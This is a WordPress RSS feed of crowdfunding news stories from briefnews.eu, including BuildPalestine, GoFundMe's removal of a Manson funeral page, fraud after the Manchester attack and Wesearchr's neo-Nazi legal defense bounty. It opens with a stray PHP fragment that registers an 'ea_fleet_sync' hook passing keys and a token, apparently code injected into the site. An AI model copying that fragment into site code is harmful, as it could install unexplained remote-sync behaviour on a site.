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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Crowdfund – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 17 Jul 2018 11:15:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Crowdfund – Brief News https://briefnews.eu 32 32 Can He Crowdfund Solutions for Palestine Where Foreign Aid Has Failed? https://briefnews.eu/can-he-crowdfund-solutions-for-palestine-where-foreign-aid-has-failed/ https://briefnews.eu/can-he-crowdfund-solutions-for-palestine-where-foreign-aid-has-failed/#respond Tue, 17 Jul 2018 11:15:46 +0000 http://briefnews.eu/can-he-crowdfund-solutions-for-palestine-where-foreign-aid-has-failed/ A program unique in the Arab world to teach schoolchildren about water conservation and environmental stewardship is off the ground. An Olympic hopeful, who taught himself how to sprint on a rundown high school track using YouTube videos, snatched up aid to train ahead of the 2020 Tokyo Games. A teacher at a nonprofit yoga center got the training to develop an extensive Arabic yoga curriculum. The money and the expertise to do it all came from the crowd, via the fast-growing platform of BuildPalestine.

By linking 12 million Palestinians across the West Bank, Gaza and the diaspora, 28-year-old Derrar Ghanem is connecting social entrepreneurs with the tools they need, while shifting perceptions of the Palestinian Territories. But through the haze of ongoing strife, it’s hard for anyone to see beyond what is widely recognized as an Israeli occupation of large parts of the territories.

Born in Athens to a Palestinian father and a Greek-American mother, Ghanem was raised in the city of Jenin in the West Bank. His father, a farmer, struggled to secure a loan to buy equipment. It’s why two years ago he was struck by Besan Abu-Joudeh’s idea to start a crowdfunding platform. At the time Ghanem, a political science and philosophy major at Birzeit University, was managing a co-working space called Work Factory in Ramallah.

We look for social entrepreneurs who have their skin in the game and can show it.

Derrar Ghanem

“I thought ’There’s another great idea by an entrepreneur that’ll probably just fizzle out.’ Whatever. I let it go,” Ghanem says. But the next day, Abu-Joudeh called to set up a meeting, winning Ghanem over with her seriousness and passion. Ghanem was attuned to the challenge of securing capital, whether from a bank or the government. “That was the push and motivation,” he says. “We need an alternative means of raising funds. And imagine how many people we can help.”

Together with Abu-Joudeh, Mahran Isamail and three others who have since bowed out, the team established BuildPalestine in October 2016. It’s more than just another Kickstarter. The platform includes “crowdsolving” — applying the wisdom of people across the globe to nettlesome problems. In the background, BuildPalestine’s campaigns are carefully curated, and entrepreneurs are trained in social entrepreneurship and innovation, whether they’re new to the scene or representing established organizations. BuildPalestine also invites experts, local governments and community members to collaborate on solving local problems.

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BuildPalestine’s board members — spread across oceans and in fields from film to business to human rights — emphasize transparency and impact for their global donors. Board chair Sara Husseini describes Ghanem as “passionate, creative and energetic — someone who believes that anything can be achieved if you set your mind to it.” As chief outreach officer, he is tasked with overseeing day-to-day activities, from seeking out partnerships to leading trainings, workshops and events. “We look for social entrepreneurs who have their skin in the game and can show it,” he says.

It’s a far different model for building up the territories than international aid, which BuildPalestine’s leaders criticize. “Palestine’s issue is the occupation. Everything else is simply a Band-Aid,” says Abu-Joudeh, who is now based in Washington, D.C., and serves as chief engagement officer. Husseini, a former communications adviser to the Palestinian government, says foreign donations lead to “a perverse situation where aid contributes indirectly toward propping up the occupation, by allowing the Israeli government to maintain control over Palestinian land without having to bear the cost.”

But can small donations from ordinary folks pooled over the internet really match the deep pockets of global governments? “Crowdfunding can’t be the only solution,” says Vanessa Zuabi, founder of JSR Consulting, which aims to bridge business with social impact. “Long-term sustainable sources of funding are critical. This is where the private sector, as well as efforts in venture philanthropy and impact investing, can play a really important role in Palestine and the Middle East more broadly.” At the same time, Zuabi holds that efforts like BuildPalestine can “shift away from the dependency on government aid funding, democratizing how capital is allocated” and helping to address the “real needs of the communities they are trying to serve.” Ghanem, meanwhile, sees his work as “an alternative” to the big-aid model. “Perhaps it can lead us to something better.”

What sets the BuildPalestine platform apart, its founders say, is its support for people, not ideas. And these local solutions cost as little as $ 5,000. According to World Bank figures, the West Bank and Gaza took in $ 2.4 billion in development assistance and official aid in 2016. So far, BuildPalestine has raised $ 126,000 for 17 projects, aiming to provide a destination for supporters around the world who ask, “How can I help?”

As for Ghanem, who dabbles in deejaying at parties under the name DJ Dar (“house” in Arabic), he dreams of one day organizing an international music festival in the Palestinian Territories. There he could spin records, once again working the crowd.

5 Questions for Derrar Ghanem

  1. What is the last book you read? Ishmael, a novel by Daniel Quinn.
  2. What do you worry about? Worry is a place I run in and out of all the time.
  3. What is the one thing you cannot live without? Music.
  4. Who is your hero? [Palestinian DJ] Sama Abdulhadi.
  5. What is one item on your bucket list? Organizing an international music festival in Palestine.

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]]> https://briefnews.eu/can-he-crowdfund-solutions-for-palestine-where-foreign-aid-has-failed/feed/ 0 Sensorwake will crowdfund a nighttime scent diffuser in April https://briefnews.eu/sensorwake-will-crowdfund-a-nighttime-scent-diffuser-in-april/ https://briefnews.eu/sensorwake-will-crowdfund-a-nighttime-scent-diffuser-in-april/#respond Sun, 07 Jan 2018 23:13:57 +0000 http://briefnews.eu/sensorwake-will-crowdfund-a-nighttime-scent-diffuser-in-april/

Sensorwake burst onto the scene with a smell-based alarm clock that operated on the belief that scents were better than sounds. Now, the company is attempting to make a further in-road into our bedrooms with its next product, the Oria night-time diffuser. The idea being that folks will sleep easier if all they can smell is the sweet perfume that’s being pushed out while you catch some shut-eye.

Part-way through 2017, Sensorwake’s parent company received a cash injection from the Givaudan Group, a Swiss perfume and flavoring giant. Givudan has conducted numerous EEG sleep studies claiming that, when exposed to specific scents, people have longer, and more restful slumber. Oria will use a tailored capsule that can last up to a month at a time before you need to replace it.

Right now, Sensorwake and its founder, Guillaume Rolland, are working on finishing the Oria hardware in anticipation for a Kickstarter. That’s expected to launch in April, with interested users also being given the chance to register to join the beta-testing program for the product. Shipping is expected to take place towards the end of the year, although specifics on the cost of the hardware, and the capsules, is still TBC.

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]]> https://briefnews.eu/sensorwake-will-crowdfund-a-nighttime-scent-diffuser-in-april/feed/ 0 GoFundMe shuts down bid to crowdfund Charles Manson’s funeral https://briefnews.eu/gofundme-shuts-down-bid-to-crowdfund-charles-mansons-funeral/ https://briefnews.eu/gofundme-shuts-down-bid-to-crowdfund-charles-mansons-funeral/#respond Thu, 23 Nov 2017 22:02:57 +0000 http://briefnews.eu/gofundme-shuts-down-bid-to-crowdfund-charles-mansons-funeral/

Crowdfunding platform GoFundMe has removed a page seeking to raise funds to cover the funeral expenses of the late Charles Manson.

Manson, who had been serving nine consecutive life sentences for mass murder, died in hospital earlier this week of natural causes. The page was set up by someone claiming to be a friend of Manson’s grandson, Jason Freeman, and contained a post calling for donors to help makes sure the remains of Freeman’s grandfather are “laid to rest with honor, respect & dignity he deserves.”

“We will not sit back & let them throw Mr. Manson away like trash. His whole life he lived with the pain of feeling unclaimed,” the post read. “We must not let this happen in death. Together we can help Jason bring his grandfather home & prove to the world Charles WAS LOVED & WILL BE CLAIMED!”

The page raised more than $ 900 in just 11 hours before being shut down, a sight less than its target sum of $ 15,000. In a statement to RT.com, GoFundMe confirmed that it had removed the content from its website and refunded the money to those who had donated.

It is not yet clear if it the page was created as a crass prank, or if was the work of actual fans and supporters of Manson. The leader of a cult, Manson and his gang were involved in a series of nine murders in the summer of 1969. Two years later, in 1971, he was found guilty of murder conspiracy to commit murder for the deaths of seven people, including the actress Sharon Tate, then the wife of film director Roman Polanski.

The 83-year-old died in hospital while in the custody of the California Department of Corrections. His body must be claimed by a family member within 10 days of his death. If not, then it could be made available for scientific study.

Freeman, the only self-identified relative of Manson, told the New York Daily News that he was “going to move towards having a proper burial.” It is unclear if he would be able to find a funeral home or a cemetery willing to handle the controversial remains, however.

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]]> https://briefnews.eu/gofundme-shuts-down-bid-to-crowdfund-charles-mansons-funeral/feed/ 0 Honeywell will crowdfund a DIY home security system https://briefnews.eu/honeywell-will-crowdfund-a-diy-home-security-system/ https://briefnews.eu/honeywell-will-crowdfund-a-diy-home-security-system/#respond Mon, 16 Oct 2017 21:46:05 +0000 http://briefnews.eu/honeywell-will-crowdfund-a-diy-home-security-system/

In the tech world, Honeywell is a long-established (century-old!) brand known for its appliances and devices, which are just now getting hooked up to Google Home. But its next venture is usually a move made by less-resourced companies and startups. Soon, Honeywell will launch an Indiegogo campaign and ask folks to crowdfund its new product, a home security system you can install yourself.

A DIY home security setup seems intriguing, though details are scarce (we’ve reached out for more information). But it’s a little crazy that a well-resourced company like Honeywell would turn to crowdfunding for its next product. Their reason? Backers provide “very valuable feedback,” a Honeywell spokesperson told The Verge: “We can engage, look for new features, and improve the product based on that first launch via Indiegogo.”

They’re far from the first company to do so: Sony had a line of crowdfunded watches in the past few years, while electronics brand Anker launching a crowdfunding campaign for a soda can-sized bluetooth speaker weeks ago. Heck, even Atari is turning to Indiegogo to jumpstart their Ataribox console soon. Regardless, Honeywell’s mystery campaign goes live on November 1st.

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]]> https://briefnews.eu/honeywell-will-crowdfund-a-diy-home-security-system/feed/ 0 LeEco is trying to crowdfund an electric scooter https://briefnews.eu/leeco-is-trying-to-crowdfund-an-electric-scooter/ https://briefnews.eu/leeco-is-trying-to-crowdfund-an-electric-scooter/#respond Fri, 25 Aug 2017 21:21:55 +0000 http://briefnews.eu/leeco-is-trying-to-crowdfund-an-electric-scooter/

Troubled would-be Chinese tech empire LeEco is looking to launch another product, but it needs you to crowdfund it first. A Kickstarter for their electric powered standup scooter will go live on August 28th, if you’re willing to take the risk.

The foldable, lean-to-steer “Scooterboard,” as it’s known, will have a maximum speed of 15 MPH and have a range of 9.3 miles on a full charge. The device is a “post-development, fully functional electric rideable ” three-wheeled scooter, according to LeEco. The crowdfunding campaign will have a modest goal of $ 25,000, though there’s no information on pricing or tier rewards yet.

Crowdfunding is a safer option for LeEco after its rough year. The company’s ambitions overstretched its means, and its fall from grace resulted in its Chinese assets frozen and a lawsuit from Vizio over the two companies’ failed $ 2 billion deal. LeEco shuttered its US operations back in May, so a single-item Kickstarter is probably a much more feasible project to get new products into the American market.

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]]> https://briefnews.eu/leeco-is-trying-to-crowdfund-an-electric-scooter/feed/ 0 The Man Behind A Crowdfund For A Homeless Man Who Helped Manchester Bomb Victims Says He Can’t Find Him https://briefnews.eu/the-man-behind-a-crowdfund-for-a-homeless-man-who-helped-manchester-bomb-victims-says-he-cant-find-him/ https://briefnews.eu/the-man-behind-a-crowdfund-for-a-homeless-man-who-helped-manchester-bomb-victims-says-he-cant-find-him/#respond Sat, 03 Jun 2017 09:10:48 +0000 http://briefnews.eu/the-man-behind-a-crowdfund-for-a-homeless-man-who-helped-manchester-bomb-victims-says-he-cant-find-him/

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Chris Parker, who helped victims of the Manchester bombing, and tributes left in St Anne’s Square

A man who set up a crowdfunding page that raised £50,000 in a week to help a homeless man who came to people’s aid shortly after the Manchester terror attack has admitted he’s lost contact with him.

Michael Johns, 25, from Nottingham, set up a page at 1pm on Tuesday 23 May to raise money for Chris Parker, a 33-year-old man who had been begging outside the Manchester Arena at the time of the explosion. After being knocked to the floor in the blast, he rushed into the foyer to help. Parker was later interviewed by print and broadcast journalists and his story made the news all over the world.

“The awful thing is they were attacking children, and to see someone who’d only gone there to ask for a bit of spare change had ran selflessly towards the blast zone to help, I was just compelled to do something,” Johns told BuzzFeed News.

“The problem we’re now having is he’s not saying where he’s going to be, he’s not turning up at the places he’s saying he’s going to be. And I’m trying to organise all this from the other end of the country.”

A fund set up by the Manchester Evening News in partnership with the Red Cross to help victims and their families has reached £2.2 million. But the Manchester attack has again put charity crowdfunding in the spotlight, with the emergence of fraudulent pages and others set up by people with no experience of fundraising and no connection to the victims or the city.

Despite setting a target of only £1,000, Johns has now raised more than £52,000 from more than 3,500 donors from all around the world. But now, despite meeting Parker last week, Johns has no idea where he is and has used the crowdfunding page to appeal to Mancunians to ask Parker to get in touch should they see him.

Last Monday, one person did spot Parker and having seen the news coverage of the money raised for him, she wondered why he was still homeless. Marissa Lowe stopped and talked to Parker on her commute into Manchester last Monday and wrote a Facebook post about the encounter. (It has since been deleted.)

“So I just bumped into none other than Chris Parker on my commute to Manchester, I gave him all the money I had in my purse as I think he more than deserves it. However, he told me one thing, HE IS STILL HOMELESS!” she wrote.

“How is it the GoFundMe pages have been set up, thousands have been raised but he’s still on the streets? He was honestly such a gentleman, gave him several hugs as well and wished him well. Please can you share this because I think the money people have donated to him deserves to go to some accommodation!”

Since then, it has been a long few days for Johns. He has had to defend the fund from sceptical donors and non-donors attacking him for not acting quickly enough. He is in touch with Lowe, however, and has asked her to help him find Parker.

In response to Lowe’s post – which got 12,000 likes on Facebook – Johns uploaded a video of him meeting Parker to reassure people. “As you can imagine the handing over of £50,000 is not a simple issue and requires the input of accountant and solicitors as well as homeless outreach workers who know Chris personally,” he wrote in a GoFundMe update.

Johns isn’t keen to divulge any details about his personal life – he welcomes scrutiny of what’s happening to the money, but is anxious not be seen as publicity-hungry. “That’s not what it should be about,” he said.

He is working with several charities – he won’t say which ones or reveal any other details – to set up a trust that can be used to administer funds and support to Parker.

Something similar happened in August 2016 when £13,000 was raised through JustGiving for a homeless man who helped a young woman at London’s Euston station – that money is now being looked after by the St Mungo’s charity, which has helped him find accommodation and open a bank account.

But Johns is clear that he didn’t know what he was getting into 10 days ago: “Originally it was only set up for a relatively small amount, but this story obviously did touch a lot of people – it’s had that chain reaction. But I didn’t foresee it taking off like this, and the fact it has has thrown up a lot of complexities in regards to how things should be administered.


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People look at flowers and tributes left in St Ann’s Square in Manchester.

“I probably did have an understanding [that it would be hard] but it probably wasn’t at the forefront of my mind. I think if I had have thought about it and sat down to think about the complexities in my mind when I set it up, I probably wouldn’t have set the fund up. That’s the best way to put it.

“The initial goal was only £1,000 and in hindsight that wouldn’t have gone very far in this situation at all. But now we’re in the position of having a potentially life-changing amount and it’s taking the hard work of a number of organisations in Manchester who are working on it.”

Johns added that it would be naive to think that one person’s complex set of problems could be solved with money alone. “This problem isn’t as simple as just chucking money at it – if the government realised they could get homeless people off the streets for £50,000 per person they would do it, because of the amount it costs the government anyway.

“Since starting I’ve probably spent every waking moment on it – it’s actually got more intense in the last couple of days because of the Facebook post. There’s a lot of pressure. This has pretty much become a full-time job. It’s taken over my life.”

Usually, GoFundMe doesn’t allow partial release of funds, but in this case it agreed for £1,000 to be paid out to Parker as a way to provide immediate help.

Johns isn’t the first person to be overwhelmed by a crowdfunding effort. In 2014, a young woman raised £10,000 for a homeless man she met on a night out in Dalston, east London, only to find, after much searching, that he didn’t want the money.

In 2015 a disabled man, Alan Barnes, 68, had more than £330,000 raised for him by local woman Katie Cutler after he was violently mugged in Gateshead. Barnes sold the house he bought with the cash after just two months.

A spokesperson for GoFundMe said: “Michael, the campaign organiser, has done an incredible job on his campaign – he’s raised a large amount of money, worked hard to develop an approach that will genuinely help Chris over the long term, and has been clear with the donors about what’s happening along the way. It’s set a strong example of how to do the right thing in a very complex situation.”


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Crowdfunding is beset by another problem: fraud. Since the Manchester attack, several crowdfunding pages have been suspended – neither GoFundMe nor JustGiving would confirm exactly how many.

One fake page was set up for a fictional person, “Poppy”, and with the picture of an American Ariana Grande fan.

guys people are absolute garbage and creating fake gofundmes!!! this is a picture of me and I'm fine. pls report it https://t.co/jc4ngOk7es

guys people are absolute garbage and creating fake gofundmes!!! this is a picture of me and I’m fine. pls report it https://t.co/jc4ngOk7es

While crowdfunding platforms claim fraudulent campaigns represent only a tiny portion of the total, the Charity Commission and Greater Manchester police released a joint statement two days after the attack urging the public to only give to the official We Love Manchester Emergency Fund “to reduce the risk of fraud and ensure funds donated reach those they are intended for.”

David Clarke, a former head of the National Fraud Intelligence Bureau at the City of London police, told BuzzFeed News that the people who carry out this kind of fraud are the same who commit email and romance scams.

“Yes they do, we know they do,” he said. “People can’t believe this but fraudsters also do people trafficking, facilitation of documents and jobs for people, the sex trade, benefit fraud – anything where there’s a possibility to tap into some money. If you give them a channel they’ll do all of it; I don’t think there’s an area they don’t go into.

“The key thing is people forget a lot of it is here in the UK. There are a lot overseas, but a lot are here. They’re using every technique we give them.”

Adrienne Gonzalez, who runs the GoFraudMe website, which tracks instances of fraud and misuse in crowdfunding, thinks that there may be more of it than what’s reported.

“I think it’s far more significant than they acknowledge,” she told BuzzFeed News. “I wouldn’t say it’s 30% or 40% but it’s more significant than they say. And the more important thing is that even if it’s as small as they say, that doesn’t matter to the person whose photos of their sick kid got stolen, or the person who someone put up a campaign to bury their mother and they never got the money. If it were that rare, I wouldn’t exist; there wouldn’t be an entire website dedicated to it.

“The majority of people putting up pages for Manchester mean well, but it doesn’t change the fact that they don’t know these people [who they’re raising for].

“I certainly think ego drives some of it – to be the person who jumps in and becomes the hero. It’s part of our society now. It’s what people do.”

GoFundMe will in the next fortnight introduce the same money-back guarantee it provides to its US donors.

A spokesperson for the company said: “It’s important to remember that misuse makes up less than one-tenth of one percent of all GoFundMe campaigns. We have a number of layers of protection for people using GoFundMe.

“We have a team of experts across the world working around the clock to make sure donors, campaign organizers, and beneficiaries are all fully protected. We have bespoke technology monitoring for suspicious behaviour. Additionally, we have more than 25 million donors – when they see something they think might not be right, they tell us, and our team looks into it and takes swift action.”

A spokesperson from JustGiving said: “It’s very rare that we find a fraudulent page. If someone comes back to us and they have no link to the family or no real tangible way of easily getting the money to people, if they turn down our offer of help it would ring some bells with us, that would alarm us and we’d go into an investigation to look at what the next steps would be.

“Overall it would be quite difficult for someone being able to take the money away without us being satisfied that it’s going to the right people.”

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]]> https://briefnews.eu/the-man-behind-a-crowdfund-for-a-homeless-man-who-helped-manchester-bomb-victims-says-he-cant-find-him/feed/ 0 Internet Gremlin Chuck Johnson's Website Becomes Inaccessible During Neo-Nazi Crowdfund Campaign https://briefnews.eu/internet-gremlin-chuck-johnsons-website-becomes-inaccessible-during-neo-nazi-crowdfund-campaign/ https://briefnews.eu/internet-gremlin-chuck-johnsons-website-becomes-inaccessible-during-neo-nazi-crowdfund-campaign/#respond Mon, 01 May 2017 18:09:24 +0000 http://briefnews.eu/internet-gremlin-chuck-johnsons-website-becomes-inaccessible-during-neo-nazi-crowdfund-campaign/
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After becoming the first person banned for life from Twitter, Chuck Johnson has largely receded from public view. Rumors (either planted or encouraged by Johnson himself) occasionally crop up that he’s taken on the role of a shadowy string-puller connected to the Trump administration, but his only visible venture besides the infrequently updated GotNews blog is Wesearchr—a crowdfunding site for “specific information that is of journalistic value.” For those hoping to fund the doxxing of private figures, Wesearchr today became largely inaccessible after allowing its SSL certification to lapse.

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The timing could not be more perfect: The site’s fastest-rising bounty is a legal defense fund for Andrew Anglin, publisher neo-Nazi website The Daily Stormer. More importantly, this ordeal reveals the interconnected dealings of the rogue’s gallery known as the alt-right, linking the movement’s mainstream figureheads to literal hategroups.

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On April 18, the Southern Poverty Law Center brought a lawsuit against Anglin after he “orchestrated a harassment campaign that has relentlessly terrorized a Jewish woman and her family” through The Daily Stormer. The woman in question, Tanya Gersh, is a real estate agent who was attempting to help the mother of Richard Spencer—the white nationalist and creator of the term “alt-right”—to sell a mixed-used building she owns in Whitefish, Montana. The circumstances are murky, and a Medium post by someone purporting to be Sherry Spencer claims Gersh attempted to strong-arm her into selling the property—though the emails from Gersh she made public appear innocuous enough. What’s certain is that besides the hundreds of harassing messages Anglin’s readership directed towards Gersh, he also attempted to hold an armed march through her town, with the goal of having the last stop of its route be her home. Thankfully, he was denied a permit.

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Following the lawsuit from SPLC, Andrew Auernheimer, the white supremacist and black hat hacker better known as Weev, started a crowdfunding campaign on Wesearchr asking for “shekels” to defend The Daily Stormer. At the time of this writing, the fund has raised over $ 57,000 in just four days—making it the third-highest bounty in the site’s short history. The most generous donation to Anglin is currently one made under the name of Sam Hyde, the alt-right personality most famous for having his Adult Swim show Million Dollar Extreme cancelled. The $ 5,000 contribution has this note appended: “starting to really think something’s up with these [J]ewish people everyone’s talking about.” (Asked for comment, Hyde sent Gizmodo a sarcastic email thanking Adult Swim creative director Mike Lazzo for “providing the funding for this project.”)

Despicable, yes, but interestingly legal defense funds also don’t fall under Wesearchr’s stated mission of whistleblowing in the slightest. And although section 230 of Communication Decency Act insulates online services from the content posted by their users, Wesearchr has leveraged its following on Gab.ai—a sort of knockoff Twitter for trolls—to direct funding towards the Stormer defense, enthusiastically announcing new milestones on the way to its $ 150,000 goal. Johnson launched Wesearchr after he was booted from Twitter for soliciting funds to “take out” Black Lives Matter activist DeRay McKesson, but it seems the standard doxxing bounties just don’t tug at vicious reactionaries’ sense of charity. Legal defenses for a variety of far right personalities have become the most popular “bounty” types on the service.

One of the two bounties which has raised more money than Weev’s is the legal defense fund for Kyle Chapman, also known as “based stickman.” Chapman gained his nickname when a video of him, clad in homemade riot gear and armed with a wooden stick which he subsequently shattered over the head of an AntiFa protester at a Trump march near UC Berkley, caught the attention of others in the movement. They quickly memed him into an alt-right hero. His previous convictions include second-degree robbery, grand theft, and illegal possession of a firearm, and he was arrested again this month while clashing with protesters.

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An ongoing Wesearchr fund has raised over $ 87,000 for Chapman, with $ 2,500 of it allegedly coming from Mike Cernovich, an alt-right manosphere figurehead who, in a ploy for legitimacy and influence, has attempted to erase his history of ugly statements about “white genocide” and claims that “Date rape does not exist.” Recently, he was a guest on 60 Minutes, the longest-running newsmagazine on television. Only $ 5,000 of the fund was used to bail Chapman out for his first assault on a Berkley protester, according to The New Republic. Now free, he’s formed a “military division” of counter-protesters, under the banner of and with the full support of the “Proudboys”—a loose gang of self-described “male chauvinists.” The Proudboys is headed by Gavin McInnes, who you might remember for allegedly committing assault outside the alt-right’s “Deploraball,” and for co-founding VICE media group.

But back to Chuck: What’s the benefit to tacit support for neo-Nazis and violent militiamen? 15 percent of all donations to successful campaigns, according to Wesearchr’s fine print.

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The site’s terms stipulate that of money raised for any fully funded bounty, a scant 75 percent is meted out in payment and 10 percent goes to whomever started the campaign. Wesearchr itself takes the remaining 15 percent, nearly twice what Kickstarter takes off the top. In the event that a bounty doesn’t reach full funding or if its requested “information” never surfaces, donated money continues to be held by Wesearchr and essentially becomes store credit. If funders ask for the money to be returned to their bank accounts, that process also incurs the 15 percent fee.

Whether anyone delivers on a given bounty is functionally immaterial—Johnson still makes money hand over fist. Of the six campaigns marked as “solved,” five were created by the Wesearchr staff. Solved bounties are flaired with a “see the story” badge and four link to either Johnson’s GotNews or the GotNews YouTube channel. Alex Jones’s InfoWars claims the fifth, an uneventful but distortedly-packaged video of a young Barack Obama describing race relations in Kenya. (The sixth, reported by the Daily Mail, states Wesearchr claims “partial credit” for flying the Clintons’ rape accusers to a presidential debate.)

The overlap of “things Wesearchr appears suited for” and “things Chuck Johnson would have written about anyway” has led some to believe the site exists mainly as an extension of GotNews’s donations page. Or, as Johnson confirmed to Heat Street in an article titled “Why Is Chuck Johnson’s Crowdfunding Site WeSearchr Making Payouts to Chuck Himself?”:

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When we asked Johnson if he set up WeSearchr primarily to make money off information he had already had in his possession, he said “pretty much.”

Despite a handful of conspiratorial tweets—and no shortage of precedent for Johnson getting booted from online spheres—the lapse in certification appears to be nothing more than Johnson or one of his associates forgetting to renew a one-year contract with Thawte, the Cape Town-based certification service Wesearchr was covered by since April 28, 2016. According a post on Wesearchr’s Gab.ai account, they only became aware of the issue nearly a full day after anyone with a modern browser was shooed from the site by security warnings and are seeking to fix it.

In these paranoid times, it’s tempting to jump to the conclusion that Johnson, a scumbag par excellence, could have allowed the site to grind to a halt intentionally. After all, if Anglin’s defense fund doesn’t reach the proposed $ 150,000, Wesearchr will hold the current donations with no obligations towards the Stormer. But Weev’s bounty has 64 day left, and Johnson’s confidence game is clearly longer than that.

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Over the past few months, claims have surfaced of Johnson’s involvement in the Trump administration, from an informal role on the transition team helping to pick cabinet members to supposedly leading a campaign against disloyal staffers. There’s little reason to believe Wesearchr as an entity has any direct ties to White House dealings, but its conceit makes Johnson’s alleged presence in those spheres believable. As grifts go, it’s as Trumpian as they come. Johnson enthusiastically assists the most prominent neo-Nazi website in order to secure strategic alliances and cut himself a healthy paycheck; the president played on middle America’s fear of a more diverse nation, befriending any crackpot conspiracist, flaunting the constitution’s emoluments clause and ethics norms, all while shaking down the Secret Service for some spending money. Like the frontpage of Wesearchr, Trump’s rally in Pennsylvania last week featured members of an avowed white nationalist group.

But the SSL lapse points to the most fundamental similarity between the Trump administration and its loathsome lapdog: incompetence. A website that can’t be accessed is no website at all, and a government that doesn’t understand (and refuses to learn) the basic tenants of governance is hucksterism through and through. Most people see neo-Nazis as a virulent strain of hate. Men like Johnson and Trump see them as useful idiots they can part from their money.

Both will continue to make mistakes large and small. All hucksters are eventually revealed as such, and when they are, it’s their targets who seek justice.

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This is Dan Single – the 36-year-old co-founder of Australian fashion label Ksubi.

Instagram: @houseof

Ksubi started in 1999, and in 2006 had pieces shown in fashion designer Jeremy Scott’s New York Fashion Week Parade.

In 2009, Single and fellow Ksubi co-founder George Gorrow were estimated to be worth a combined $ 21 million. The same year, the Ksubi co-founders featured on the Business Review Weekly’s young rich list.

Following financial difficulties the brand was sold to Bleach Group in 2010 for $ 5 million. It has since been on-sold and is now part of ~hip cool young person~ store General Pants. Think of it as the Australian version of Urban Outfitters.

Instagram: @general_pants

In 2013 Single was banned from being a company director for three years by the Australian Securities and Investments Commission.

General Pants sells expensive to sort-of-expensive clothing (and not just pants).

While Single became moderately famous for his role in Ksubi, his social media accounts and lavish lifestyle garnered him far more attention. He also had a following as a DJ in Sydney in the collective known as Bang Gang.

Instagram: @houseof

Instagram: @houseof

Instagram: @houseof

In March this year while visiting Paris for Paris Fashion Week, Single fell from the third floor balcony of his hotel, flipping and landing on his heels. He shattered every bone “from my feet to my hips and pelvis” in the 35m fall.

Placed in an induced coma for two weeks, details on Single’s condition were scant until earlier this week, when the designer allegedly announced he had started a GoFundMe to pay for “the hospital bill, rehab bill, early flights home, being unable to make bread and work over the next [few] months and all the incidentals the family is covering at the moment”.

Single reportedly said he made the decision to start the crowdfunding campaign after a suggestion from a friend. But things quickly turned sour when some people took the request for money as an opportunity to vent their spleens.

On Wednesday evening, only hours after it started, the GoFundMe was taken down amid reports of people trolling Single’s plea for money.

This comment on the Dan Single crowdfunding his hospital bills yarn is uh… quite something… https://t.co/wbYKlOJxNP

— Alex Bruce-Smith (@alexbrucesmith)

Oooof. This GoFundMe is not quite going to plan for Dan Single.

— Rachel Olding (@rachelolding)

I can’t believe ksubi co founder dan single was asking general public $ $ for flights back to Sydney + hospital recovery bills!

— Hashanthi (@hashanthi)

Single’d alleged GoFundMe also noted that there would be a fundraising dinner in Sydney in early May – it’s not yet known if this will go ahead.

BuzzFeed News has contacted Single’s management, The Look Agency, for comment.

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Brad Esposito is a news reporter for BuzzFeed and is based in Sydney, Australia.

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